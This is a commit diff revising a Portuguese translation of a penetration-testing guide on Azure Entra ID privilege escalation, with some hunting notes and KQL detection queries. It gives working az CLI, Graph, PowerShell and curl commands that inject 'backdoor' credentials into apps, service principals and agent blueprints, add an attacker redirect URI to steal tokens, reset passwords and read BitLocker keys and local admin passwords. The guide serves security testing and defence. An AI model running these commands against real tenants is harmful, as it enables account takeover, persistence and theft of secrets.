Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-06-16 13:23:44 +00:00
parent 9f5cfe1af7
commit b2043c141f
@@ -9,7 +9,7 @@
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges.
Esta role contém as permissões granulares necessárias para poder atribuir roles a principals e conceder mais permissions a roles. Ambas as ações podem ser abusadas para escalar privilégios.
- Assign role to a user:
```bash
@@ -27,7 +27,7 @@ az rest --method POST \
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
- Adicionar mais permissões a um role:
- Adicionar mais permissões a uma role:
```bash
# List only custom roles
az rest --method GET \
@@ -59,15 +59,46 @@ az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/allProperties/update`
Esta permissão concede atualização para **toda propriedade gravável** de qualquer registro de aplicativo **single-tenant** (`signInAudience = AzureADMyOrg`), incluindo `passwordCredentials` e `keyCredentials`. Ela é marcada como `IsPrivileged: true` no catálogo, mas **não** está presente em nenhuma built-in role — ela aparece quase exclusivamente em **custom roles** que um admin cria para delegar "manage our internal apps" sem perceber que o subtipo `.myOrganization` acaba restringindo a ação exatamente ao conjunto de apps com maior chance de conter permissões privilegiadas do Microsoft Graph.
- Enumerate apps with privileged Microsoft Graph permissions consented:
```bash
# SPs with at least one Microsoft Graph app role assigned
GRAPH_SP_ID=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP_ID/appRoleAssignedTo" \
--query "value[].{App:principalDisplayName, SP:principalId, RoleId:appRoleId}" \
-o table
# Resolve a RoleId to the human-readable permission name
az ad sp show --id 00000003-0000-0000-c000-000000000000 \
--query "appRoles[?id=='<RoleId>'].value" -o tsv
```
- Confirme que o target é single-tenant (dentro do escopo do subtipo `.myOrganization`):
```bash
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')" \
--query "{audience:signInAudience, name:displayName}"
# audience must be "AzureADMyOrg"
```
- Injetar uma credencial na app alvo — o único passo privilegiado na cadeia:
```bash
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')/addPassword" \
--headers "Content-Type=application/json" \
--body '{"passwordCredential":{"displayName":"backdoor"}}'
```
### `microsoft.directory/applications.myOrganization/credentials/update`
Isso permite as mesmas ações que `applications/credentials/update`, mas com escopo para aplicações de um único diretório.
Isso permite as mesmas ações que `applications/credentials/update`, mas limitado a aplicações de um único diretório.
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
Ao adicionar a si mesmos como owner, um atacante pode manipular a application, incluindo credentials e permissions.
Ao se adicionar como owner, um atacante pode manipular a application, incluindo credentials e permissions.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -77,24 +108,24 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
Um atacante pode adicionar um redirect URI a applications que estão sendo usadas por users do tenant e depois compartilhar com eles login URLs que usam o novo redirect URL para roubar seus tokens. Note que, se o user já estiver autenticado na application, a autenticação será automática, sem o user precisar aceitar nada.
Um atacante pode adicionar um URI de redirecionamento a aplicações que estão sendo usadas por usuários do tenant e então compartilhar com eles URLs de login que usem o novo URL de redirecionamento para roubar seus tokens. Note que, se o usuário já estiver autenticado na aplicação, a autenticação ocorrerá automaticamente sem o usuário precisar aceitar nada.
Note que também é possível alterar as permissions que a application solicita para obter mais permissions, mas, nesse caso, o user precisará aceitar novamente o prompt que pede todas as permissions.
Note que também é possível alterar as permissões que a aplicação solicita para obter mais permissões, mas, neste caso, o usuário precisará aceitar novamente o prompt que solicita todas as permissões.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
### Applications Privilege Escalation
### Escalada de Privilégios de Applications
**Como explicado em [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, era muito comum encontrar aplicações padrão que tinham **API permissions** do tipo **`Application`** atribuídas a elas. Uma API Permission (como chamada no console do Entra ID) do tipo **`Application`** significa que a aplicação pode acessar a API e executar ações sem um user context (sem um user login into the app), e sem precisar de Entra ID roles para अनुमति-la. Portanto, é muito comum encontrar **high privileged applications em every Entra ID tenant**.
**Como explicado neste [post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, era muito comum encontrar aplicações padrão que tinham **API permissions** do tipo **`Application`** atribuídas a elas. Uma API Permission (como chamada no console do Entra ID) do tipo **`Application`** significa que a aplicação pode acessar a API e executar ações sem um contexto de usuário (sem um user login na app), e sem precisar de roles do Entra ID para अनुमति-la. Portanto, é muito comum encontrar **aplicações com alto privilégio em cada tenant do Entra ID**.
Então, se um attacker tem qualquer permission/role que permita **update the credentials (secret o certificate) of the application**, o attacker pode gerar uma nova credential e então usá-la para **authenticate as the application**, obtendo todas as permissions que a aplicação tem.
Então, se um atacante tiver qualquer permission/role que permita **atualizar as credentials (secret o certificate) da aplicação**, o atacante pode gerar uma nova credential e então usá-la para **autenticar como a aplicação**, obtendo todas as permissions que a aplicação possui.
Note que o blog mencionado compartilha algumas **API permissions** de common Microsoft default applications, porém algum tempo depois desse report a Microsoft corrigiu esse issue e agora não é mais possível fazer login como Microsoft applications. No entanto, ainda é possível encontrar **custom applications with high privileges that could be abused**.
Note que o blog mencionado compartilha algumas **API permissions** de aplicações padrão comuns da Microsoft; porém, algum tempo após este report, a Microsoft corrigiu esse issue e agora não é mais possível fazer login como aplicações da Microsoft. No entanto, ainda é possível encontrar **custom applications com altos privilégios que podem ser abused**.
How to enumerate the API permissions of an application:
Como enumerar as API permissions de uma aplicação:
```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
@@ -125,7 +156,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Encontre todas as permissões de API das aplicações e marque as APIs de propriedade da Microsoft</summary>
<summary>Encontrar todas as permissões de API das aplicações e marcar as APIs de propriedade da Microsoft</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -246,27 +277,27 @@ Isso permite que um atacante adicione credentials a service principals existente
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> A nova senha gerada não aparecerá no web console, então isso pode ser uma forma stealth de manter persistence sobre um service principal.\
> Da API, elas podem ser encontradas com: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
> A nova senha gerada não vai aparecer no web console, então isso pode ser uma forma stealth de manter persistence sobre um service principal.\
> Pela API, elas podem ser encontradas com: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
Se você receber o erro `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` é porque **não é possível modificar a propriedade passwordCredentials** do SP e primeiro você precisa desbloqueá-la. Para isso, você precisa de uma permission (`microsoft.directory/applications/allProperties/update`) que permite executar:
Se você receber o erro `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` é porque **não é possível modificar a propriedade passwordCredentials** do SP e primeiro você precisa desbloqueá-la. Para isso, você precisa de uma permissão (`microsoft.directory/applications/allProperties/update`) que permite executar:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### Entra Agent ID blueprint credential abuse (`AgentIdentityBlueprint.AddRemoveCreds.All`)
**Agent identity blueprints** são application objects e cada blueprint também cria um **agent identity blueprint principal** no tenant. **Agent identities** são service-principal-derived children desse blueprint path. Therefore, se um attacker conseguir **add a password/certificate to the blueprint** ou já tiver roubado uma de suas credentials, ele pode depois authenticate como o **blueprint principal** e request tokens para child agent identities.
**Agent identity blueprints** are application objects and each blueprint also creates an **agent identity blueprint principal** in the tenant. **Agent identities** are service-principal-derived children of that blueprint path. Portanto, se um atacante conseguir **adicionar uma password/certificate ao blueprint** ou já tiver roubado uma de suas credentials, ele pode depois autenticar como o **blueprint principal** e request tokens para child agent identities.
Isso transforma uma bad Entra Agent ID role assignment em:
Isso transforma uma má atribuição de role do Entra Agent ID em:
- **Persistence**: o novo `passwordCredential` permanece no blueprint até ser removido
- **Privilege escalation**: um low-trust/dev agent pode cross into a different high-trust blueprint e então act as its child agents
- **Privilege escalation**: um agent de baixa confiança/dev pode atravessar para um blueprint diferente de alta confiança e então agir como seus child agents
Typical dangerous paths are:
Os caminhos típicos perigosos são:
- Um compromised agent identity com **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- Um compromised owner/sponsor/admin capaz de manage the blueprint
- Theft de um existing blueprint secret/certificate
- Um agent identity comprometido com **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- Um owner/sponsor/admin comprometido capaz de manage o blueprint
- Roubo de um existing blueprint secret/certificate
Add a new secret to the target blueprint:
```bash
@@ -280,7 +311,7 @@ Ou com Microsoft Graph PowerShell:
$params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } }
Add-MgBetaApplicationPassword -ApplicationId <blueprint-object-id> -BodyParameter $params
```
Se a nova credencial for aceita, autentique-se como o **blueprint principal** e abuse do Agent ID token exchange. A primeira request usa a credencial do blueprint e define **`fmi_path`** para a identidade do agent alvo. O token retornado é então reutilizado como um **JWT bearer `client_assertion`** para obter um Microsoft Graph token para essa identidade do agent.
Se a nova credencial for aceita, autentique-se como o **blueprint principal** e abuse do Agent ID token exchange. A primeira request usa a credencial do blueprint e define **`fmi_path`** para a identidade do agente alvo. O token retornado é então reutilizado como um **JWT bearer `client_assertion`** para obter um Microsoft Graph token para essa identidade de agente.
```bash
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
-H 'Content-Type: application/x-www-form-urlencoded' \
@@ -301,9 +332,9 @@ curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
--data-urlencode 'scope=https://graph.microsoft.com/.default'
```
> [!CAUTION]
> Se um blueprint de **dev** ou seu child agent pode adicionar credentials a um blueprint de **prod**, o attacker cruza o trust boundary esperado entre blueprint/agent e ganha acesso duradouro à target agent infrastructure.
> Se um blueprint de **dev** ou seu agente filho pode adicionar credenciais a um blueprint de **prod**, o atacante cruza a fronteira de confiança esperada entre blueprint/agente e ganha acesso durável à infraestrutura do agente alvo.
Quick validation / scoping:
Validação rápida / scoping:
```powershell
$sp = Get-MgBetaServicePrincipal -ServicePrincipalId <actor-service-principal-id>
$sp.AdditionalProperties['@odata.type']
@@ -315,18 +346,18 @@ $app.PasswordCredentials | ? { $_.KeyId -eq '<new-key-id>' }
```
Notas de hunting:
- Procure por **`Update application Certificates and secrets management`** em [Az - Monitoring](../../az-services/az-monitoring.md)
- Procure **`Update application Certificates and secrets management`** em [Az - Monitoring](../../az-services/az-monitoring.md)
- Correlacione **`AuditLogs`**, **`MicrosoftGraphActivityLogs`** e **`AADServicePrincipalSignInLogs`** usando tempo, service principal ID, user-agent, IP e `SignInActivityId` / `UniqueTokenIdentifier`
- Em `MicrosoftGraphActivityLogs`, verifique `RequestUri` terminando em **`/applications/<id>/microsoft.graph.addPassword`** e se `Roles` contém **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- Em `AADServicePrincipalSignInLogs`, revise `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType` e se a nova key foi usada depois
KQL mínima para ver se o secret recém-adicionado autenticou:
Minimal KQL to see whether the newly added secret authenticated:
```kusto
AADServicePrincipalSignInLogs
| where ServicePrincipalCredentialKeyId == "<new-key-id>"
| project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName
```
Isso está relacionado ao [application credential abuse](../../az-services/az-azuread.md#applications) genérico e à [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), mas Entra Agent ID adiciona uma segunda etapa em que o blueprint credential pode ser trocado por um **different agent identity token**.
Isso está relacionado com [application credential abuse](../../az-services/az-azuread.md#applications) genérico e [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), mas Entra Agent ID adiciona uma segunda etapa onde o blueprint credential pode ser trocado por um **different agent identity token**.
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
@@ -336,7 +367,7 @@ az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
Assim como em applications, esta permission permite adicionar mais owners a um service principal. Possuir um service principal permite controlar suas credentials e permissions.
Semelhante a applications, esta permissão permite adicionar mais owners a um service principal. Ser owner de um service principal permite controlar suas credentials e permissions.
```bash
# Add new owner
spId="<spId>"
@@ -354,13 +385,13 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> Após adicionar um novo owner, tentei removê-lo, mas a API respondeu que o método DELETE não era suportado, mesmo sendo o método que você precisa usar para apagar o owner. Então, você **não pode remover owners atualmente**.
> Depois de adicionar um novo owner, tentei removê-lo, mas a API respondeu que o método DELETE não era suportado, mesmo sendo o método que você precisa usar para deletar o owner. Então, você **não pode remover owners atualmente**.
### `microsoft.directory/servicePrincipals/disable` and `enable`
These permissions allows to disable and enable service principals. An attacker could use this permission to enable a service principal he could get access to somehow to escalate privileges.
Essas permissões permitem desabilitar e habilitar service principals. Um attacker pode usar essa permissão para habilitar um service principal ao qual ele consiga obter acesso de alguma forma para escalar privilégios.
Note that for this technique the attacker will need more permissions in order to take over the enabled service principal.
Observe que, para essa técnica, o attacker precisará de mais permissões para conseguir assumir o controle do service principal habilitado.
```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -370,7 +401,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
These permissions allow to create and get credentials for single sign-on which could allow access to third-party applications.
Essas permissões permitem criar e obter credenciais para single sign-on, o que pode permitir acesso a aplicações de terceiros.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -404,22 +435,22 @@ az ad group member add --group <GroupName> --member-id <UserId>
### `microsoft.directory/groups/owners/update`
Esta permissão permite tornar-se owner de groups. Um owner de um group pode controlar a membership e as configurações do group, potencialmente escalando privilégios para o group.
Esta permissão permite tornar-se owner de grupos. Um owner de um grupo pode controlar a associação e as configurações do grupo, potencialmente escalando privilégios para o grupo.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**Nota**: Esta permissão exclui Entra ID role-assignable groups.
**Nota**: Esta permissão exclui grupos atribuíveis a funções do Entra ID.
### `microsoft.directory/groups/members/update`
Esta permissão permite adicionar membros a um group. Um attacker poderia adicionar a si mesmo ou contas maliciosas a grupos privilegiados, o que pode conceder acesso elevado.
Esta permissão permite adicionar membros a um grupo. Um atacante poderia adicionar a si mesmo ou contas maliciosas a grupos privilegiados, o que pode conceder acesso elevado.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
This permission allows to update membership rule in a dynamic group. An attacker could modify dynamic rules to include himself in privileged groups without explicit addition.
Esta permissão permite atualizar a regra de associação em um grupo dinâmico. Um atacante poderia modificar regras dinâmicas para incluir ele mesmo em grupos privilegiados sem adição explícita.
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -434,7 +465,7 @@ az rest --method PATCH \
### Dynamic Groups Privesc
Pode ser possível que usuários escalem privilégios modificando suas próprias propriedades para serem adicionados como membros de dynamic groups. Para mais informações, confira:
Pode ser possível que usuários escalem privilégios modificando suas próprias propriedades para serem adicionados como membros de dynamic groups. Para mais informações, consulte:
{{#ref}}
dynamic-groups.md
@@ -444,7 +475,7 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
Esta permissão permite redefinir a senha de usuários não-admin, permitindo que um possível atacante escale privilégios para outros usuários. Esta permissão não pode ser atribuída a custom roles.
Esta permissão permite redefinir a senha de usuários não-admin, permitindo que um potencial atacante escale privilégios para outros usuários. Esta permissão não pode ser atribuída a custom roles.
```bash
# Update user password
userId="<user-id>"
@@ -464,7 +495,7 @@ az rest --method PATCH \
```
### `microsoft.directory/users/basic/update`
Este privilégio permite modificar propriedades do usuário. É comum encontrar grupos dinâmicos que adicionam usuários com base em valores de propriedades; portanto, essa permissão pode permitir que um usuário defina o valor da propriedade necessária para ser membro de um grupo dinâmico específico e escalar privilégios.
Este privilégio permite modificar propriedades do usuário. É comum encontrar grupos dinâmicos que adicionam usuários com base em valores de propriedades; portanto, essa permissão pode permitir que um usuário defina o valor da propriedade necessária para se tornar membro de um grupo dinâmico específico e escalar privilégios.
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -482,7 +513,7 @@ az rest --method PATCH \
```
## Conditional Access Policies & MFA bypass
Políticas de Conditional Access mal configuradas que exigem MFA podem ser contornadas, verifique:
Políticas de conditional access mal configuradas que exigem MFA podem ser burladas, verifique:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -492,7 +523,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
Esta permissão permite que atacantes se atribuam como owners de devices para ganhar controle ou acesso a configurações e dados específicos do device.
Essa permissão permite que atacantes se atribuam como owners de devices para ganhar controle ou acesso a configurações e dados específicos do device.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -514,7 +545,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
Esta permissão permite que atacantes leiam as propriedades das credenciais da conta de administrador local backupadas para dispositivos Microsoft Entra joined, incluindo a senha
Essa permissão permite que attackers leiam as propriedades das credenciais de conta de administrador local com backup para dispositivos Microsoft Entra joined, incluindo a password
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -529,7 +560,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
Esta permissão permite acessar chaves BitLocker, o que pode permitir que um atacante descriptografe unidades, comprometendo a confidencialidade dos dados.
Esta permissão permite acessar as chaves BitLocker, o que poderia permitir que um atacante descriptografasse drives, comprometendo a confidencialidade dos dados.
```bash
# List recovery keys
az rest --method GET \
@@ -550,7 +581,7 @@ az rest --method GET \
- `microsoft.directory/applications/appRoles/update`
- `microsoft.directory/applications.myOrganization/permissions/update`
## Referências
## References
- [Red Canary - Investigating Suspicious AI Workflows in Microsoft Entra Agent ID: Autonomous Agents](https://redcanary.com/blog/threat-detection/entra-id-ai-workflows/)
- [Microsoft Learn - Agent identity blueprints in Microsoft Entra Agent ID](https://learn.microsoft.com/en-us/entra/agent-id/agent-blueprint)